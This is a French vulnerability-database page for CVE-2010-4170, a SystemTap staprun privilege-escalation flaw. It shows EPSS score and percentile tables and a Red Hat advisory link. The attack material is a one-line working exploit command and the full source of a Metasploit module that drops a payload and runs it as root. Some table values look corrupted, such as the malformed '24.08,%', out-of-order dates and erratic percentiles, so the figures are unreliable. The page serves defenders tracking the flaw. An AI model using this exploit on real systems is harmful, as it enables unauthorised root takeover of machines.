CVE-2010-4170 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.11%	–	–
2022-03-20	–	–	2.11%	–	–
2022-04-03	–	–	2.11%	–	–
2022-06-19	–	–	2.11%	–	–
2022-12-25	–	–	2.11%	–	–
2023-01-01	–	–	2.11%	–	–
2023-02-19	–	–	2.11%	–	–
2023-03-12	–	–	–	0.06%	–
2023-07-30	–	–	–	0.07%	–
2023-09-17	–	–	–	0.07%	–
2023-11-05	–	–	–	0.07%	–
2023-12-03	–	–	–	0.07%	–
2024-02-11	–	–	–	0.06%	–
2024-03-10	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-08-04	–	–	–	0.06%	–
2024-08-25	–	–	–	0.06%	–
2024-09-15	–	–	–	0.05%	–
2024-11-17	–	–	–	0.05%	–
2024-12-22	–	–	–	0.05%	–
2025-01-26	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-01-25	–	–	–	0.05%	–
2025-03-18	–	–	–	–	24.08%
2025-03-18	–	–	–	–	24.08,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	57%
2022-03-20	58%
2022-04-03	78%
2022-06-19	79%
2022-12-25	8%
2023-01-01	79%
2023-02-19	8%
2023-03-12	26%
2023-07-30	27%
2023-09-17	29%
2023-11-05	3%
2023-12-03	29%
2024-02-11	22%
2024-03-10	23%
2024-06-02	25%
2024-08-04	23%
2024-08-25	24%
2024-09-15	18%
2024-11-17	19%
2024-12-22	2%
2025-01-26	21%
2025-01-19	2%
2025-01-25	21%
2025-03-18	96%
2025-03-18	96%

CVE-2010-4170 printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever RHEL Advisory: https://rhn.redhat.com/errata/RHSA-2010-0894.html

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'SystemTap MODPROBE_OPTIONS Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges by exploiting a vulnerability in the `staprun` executable included with SystemTap version 1.3. The `staprun` executable does not clear environment variables prior to executing `modprobe`, allowing an arbitrary configuration file to be specified in the `MODPROBE_OPTIONS` environment variable, resulting in arbitrary command execution with root privileges. This module has been tested successfully on: systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and systemtap 1.1-3.el5 on RHEL 5.5 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery and exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2010-11-17', 'References' => [ ['BID', '44914'], ['CVE', '2010-4170'], ['EDB', '15620'], ['URL', 'https://securitytracker.com/id?1024754'], ['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'], ['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'], ['URL', 'https://bugs.launchpad.net/bugs/677226'], ['URL', 'https://www.debian.org/security/2011/dsa-2348'] ], 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0)) register_options [ OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def staprun_path datastore['STAPRUN_PATH'] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def check # On some systems, staprun execution is restricted to stapusr group: # ---s--x---. 1 root stapusr 178488 Mar 28 2014 /usr/bin/staprun unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true' vprint_error "#{staprun_path} is not executable" return CheckCode::Safe end vprint_good "#{staprun_path} is executable" unless setuid? staprun_path vprint_error "#{staprun_path} is not setuid" return CheckCode::Safe end vprint_good "#{staprun_path} is setuid" CheckCode::Detected end def exploit unless check == CheckCode::Detected unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end payload_name = ".#{rand_text_alphanumeric 10..15}" payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe config_path = "#{base_dir}/#{payload_name}.conf" upload config_path, "install uprobes /bin/sh" print_status 'Executing payload...' res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}" vprint_line res end end